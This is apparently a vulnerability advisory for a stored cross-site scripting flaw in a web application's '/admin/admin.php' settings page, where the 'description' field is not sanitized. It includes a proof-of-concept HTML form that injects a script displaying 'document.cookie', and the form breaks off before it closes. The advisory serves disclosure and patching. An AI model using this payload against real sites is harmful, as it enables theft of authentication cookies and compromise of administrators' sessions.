Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in "description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin.php?action=settings" method="post" name="main" >
  <input type="hidden" name="name" value="site title" />
     <input type="hidden" name="admin_mail" value="example@example.com" />
      <input type="hidden" name="keywords" value="" />
   <input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
    <input type="hidden" name="site_url" value="http://www.example.com/" />
    <input type="hidden" name="seo_url" value="0" />
